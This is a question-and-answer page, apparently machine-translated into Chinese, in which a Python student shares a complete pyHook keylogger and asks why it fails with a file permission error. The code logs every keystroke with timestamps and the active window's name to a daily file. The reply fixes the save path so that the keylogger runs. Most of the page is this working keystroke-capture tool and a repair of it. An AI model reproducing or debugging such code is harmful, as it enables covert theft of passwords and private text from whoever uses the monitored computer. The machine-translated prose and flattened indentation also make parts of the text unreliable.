鍵盤記錄錯誤

Question

即時通訊新手入門，今年我們開始在學校學習python，但是我們做了基本的事情，而且我有點無聊，所以我一直在尋找有趣的腳本，直到找到了如何製作鍵盤記錄。我有一些代碼，但它不工作。我修正了一些錯誤，但仍

（注：我不會使用，除了我的舊電腦這個其他地方所以是的，並不想成爲一個黑客或W/E）

（注2：對不起，我英語不好，IM希臘：P）

import pyHook, pythoncom 
from datetime import datetime 

todays_date = datetime.now().strftime('%Y-%b-%d') 
file_name = 'C:\\Documents'+todays_date+'.txt' 

line_buffer = "" #current typed line before return character 
window_name = "" #current window 

def SaveLineToFile(line): 
current_time = datetime.now().strftime('%H:%M:%S') 
line = "[" + current_time + "] " + line 
todays_file = open(file_name, 'a') #open todays file (append mode) 
todays_file.write(line) #append line to file 
todays_file.close() #close todays file 

def OnKeyboardEvent(event): 
global line_buffer 
global window_name 

#print 'Ascii:', event.Ascii, chr(event.Ascii) #pressed value 

"""if typing in new window""" 
if(window_name != event.WindowName): #if typing in new window 
    if(line_buffer != ""): #if line buffer is not empty 
     line_buffer += '\n' 
     SaveLineToFile(line_buffer) #print to file: any non printed     characters from old window 

    line_buffer = "" #clear the line buffer 
    SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print  to file: the new window name 
    window_name = event.WindowName #set the new window name 

"""if return or tab key pressed""" 
if(event.Ascii == 13 or event.Ascii == 9): #return key 
    line_buffer += '\n' 
    SaveLineToFile(line_buffer) #print to file: the line buffer 
    line_buffer = "" #clear the line buffer 
    return True #exit event 

"""if backspace key pressed""" 
if(event.Ascii == 8): #backspace key 
    line_buffer = line_buffer[:-1] #remove last character 
    return True #exit event 

"""if non-normal ascii character""" 
if(event.Ascii < 32 or event.Ascii > 126): 
    if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt) 
     pass #do nothing 
    else: 
     line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n' 
else: 
    line_buffer += chr(event.Ascii) #add pressed character to line buffer 

return True #pass event to other handlers 

hooks_manager = pyHook.HookManager() #create hook manager 
hooks_manager.KeyDown = OnKeyboardEvent #watch for key press 
hooks_manager.HookKeyboard() #set the hook 
pythoncom.PumpMessages() #wait for events 

的錯誤是：

Traceback (most recent call last): 
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in  KeyboardSwitch 
return func(event) 
File "C:\Python27\test123.py", line 30, in OnKeyboardEvent 
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name 
File "C:\Python27\test123.py", line 13, in SaveLineToFile 
todays_file = open(file_name, 'a') #open todays file (append mode) 
IOError: [Errno 13] Permission denied: 'C:\\Documents2017-Mar-31.txt' 

Answer 1

隨着錯誤消息已經表示，有一個與代碼本身沒有問題，但蟒蛇必須有訪問折呃要保存文件。嘗試使用不同的文件夾或在運行此程序時授予Python管理員權限。對我來說file_name = 'C:\\Users\\{MyName}\\Documents\\'+todays_date+'.txt'工作得很好。